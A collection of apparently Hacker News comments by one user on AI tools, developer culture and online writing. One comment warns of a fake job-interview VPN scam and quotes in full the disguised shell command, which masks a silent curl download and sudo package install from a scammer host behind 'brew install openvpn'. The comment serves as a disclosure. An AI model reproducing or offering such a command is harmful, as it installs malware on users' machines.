dolebirchwood

miss spelled

Good one.

I've subscribed to paid courses in the past, and sometimes the speaker's voice would be so off-putting that it would really drag down the quality of the experience (looking at you, Steve Kinney). I'd have paid extra to have an option to replace with an AI voice.

One article... every time. And the only reason it gets any traction is because of who the author is -- not because of anything substantively useful. Do you think this whole "pelican on a bicycle" would have blown up if, say, you were the first?

Those shots all matched the banality of Uptown Funk's lyrics.

What would you prefer it do?

If it was up to me, an LLM should not be permitted to self-identify with words like "I", "me", "my", etc. An LLM should only be identified using system-centric labels like "this system" or "this model" or what have you. All first-person pronouns should be stripped away from any text it generates (unless it's making a direct quote of what a human being actually said) so as to eliminate any perceived anthropomorphized self-referential behavior.

I'm certainly no expert in how these models are trained or how feasible what I want actually is, but I would prefer to live in a future where we at least try to maintain a clear distinction between human consciousness and machine-generated text.

Why AI-generated? Because the quality of his writing is better than that of his critics?

We have people here who use LLMs to raise their children, to manage relationships

Anyone who's spent time in professions in or adjacent to social work would say that a lot of their clients would frankly be better off outsourcing these decisions to LLMs.

You would care about that story

No, I wouldn't. I don't live in Seattle, and I don't care about octopi. Why project what you think a reader cares about?

There is a difference: - There are people who do, - And there are those who criticize.

Weird shield to hide behind, considering there are also people who can do both.

This doesn't make sense

Makes perfect sense to anyone good at using these models. What doesn't make sense is that analogy. Typing prompts isn't even close to as difficult to baking bread.

I was doing contract work last year for a young solo founder, and he promised a feature to a big customer who only signed up because of this one feature. It was a feature he vibecoded and was able to demo in ways that made it look like it was working, when in reality it was a buggy POS. The customer was going to go live on the platform in a few weeks, and this kid expected me to work over my pre-planned holiday to actually get this (frankly rather complex) feature built properly. I told him good luck, ended the contract, and enjoyed my holiday. No time for that BS.

he

:/

What about the 6x developers? Was there just a doubling multiplier across the board, resulting in them becoming 12x developers, or did they too become 20x developers?

Why humanoid? Surely there must be a superior physical form factor than one mimicking human anatomy. Is it just supposed to be more psychologically acceptable?

Good. I'm glad. Keep it up, China. Loving my cheap GLM and DeepSeek.

They can put people in roles, reward those you like, punish those you don't like. Who don't enjoy that?

Those of us without Machiavellian tendencies?

That might be a truism that's generally applicable, but some people have enough of a safety net to last them several years while building a business. We don't know OP's circumstances.

I work from home alone and frequently talk to my cats (I'm not crazy). Had to turn the feature off as well because of it.

Vibe coders don't know 'bout my dvh.

Would you trust the site if it did?

What if I only want 6x better performance? Is there a knob or slider to dial it down?

As part of a potential interview, I was given login credentials so I could sign in to a site where I was prompted to download a VPN client that would allow me to connect to the company's system (red flags already).

They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):

```

( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ]

```

Yeah, no. Be careful out there.

By the way, here's the scammer's "company website": https://jtwllc.com/

Superficially looks legit until you start investigating the finer details.

And promise not to cheat on him with any other model providers. I can hear the wedding bells already.

I know the HN guidelines discourage commenting on "tangential annoyances" on a website, but I think this issue is more than just tangential and more than just an annoyance.

When an author is this relentless in pushing you to sign up, there is good reason to suspect that financial motives are unduly driving an agenda.

I counted 8 such instances:

1. In the sidebar

2. At the top of the article

3. Popup in the middle of the screen after just a couple of scrolls into the body

4. Several paragraphs into the article

5. At the bottom of the article

6. At the bottom of the page under the comments section

7. Popup at the bottom of the screen after scrolling to the end of the body

8. (My personal favorite) Click the "user" icon in the bottom-right corner, which you'd normally expect to open an AI chat bot these days, and (surprise) you're prompted to sign up for a paid subscription

This sort of behavior just completely tanks any and all credibility this person may have.

There is a class of human output that will retain value regardless of AI capability: art and sport.

I can't speak about sports, but I'll share an anecdote about art.

A friend of mine shared an AI-produced song, and I was surprised by its quality. The producer credited Suno as the only tool he used, so I was curious to see what this thing could do. Paid for the pro plan and my wife and I were having a blast coming up with songs we'd like to listen to.

They were songs that neither of us were capable of making, but they were genuinely fun to conjure (I won't say "make"--we didn't make anything) and she listens to them in the car pretty regularly now. And when we want something new, we can just conjure up some more.

Yes, I know this is only possible because of the human-created music that served as the training data. I don't intend to comment on the morality/legality of it (although it's fair conversation to have). Just noting that some of us do actually appreciate AI music.

But maybe I'm exactly the sort of sucker from Huxley's "Brave New World" that he warned about. :)

I'm sure it's no loss to the author to lose out on close-minded readers. The author also added a little blurb to his article to address the concerns raised.

10x’ing our productivity

Normalizing this "10x" language (well before AI) is a factor in this problem.

It's been so loosely and casually thrown about in this industry. 10x engineer... 10x mindset... 10x growth... 10x this... 10x that...

All paraded around by people who fancied themselves to be their own version of 10x whatever.

Well, keep parroting this long enough, and it's just a matter of time before people not only believe it to be commonplace, but they start to expect and demand it.

So now we have AI as the next thing foisted upon us to force everyone to be 10x or die trying.

Should've just settled for being 3.14x engineers like reasonable people.

Yes, we know. It was sarcasm.

I've been able to get LLMs to push back on ideas by just adding language to the system prompt requiring that they adopt a skeptical persona (insert whatever persona you want for your use case). I see the word "skeptical" appear in their thought processes as a result, and my anecdotal experience is that they are less agreeable as a result. People need to put more thought into what these systems are and what they can do to help shape their output.

It's much harder to have a proper back and forth with a firehouse than it is a few sentences at a time.

Sometimes just providing the context about an issue is itself enough to warrant a few paragraphs, let alone a few sentences.

Obviously, it's best to express a problem, its options, and its recommended solution(s) in as few words as possible, but it's unwarranted to hold an absolute position that every discussion must be an inefficient exchange of mere sentences at a time.

I'd rather have an outline-style essay given to me in one go for me to digest and research async rather than be subjected to a barrage of back-and-forth pings. That's the real disrespect of other people's time.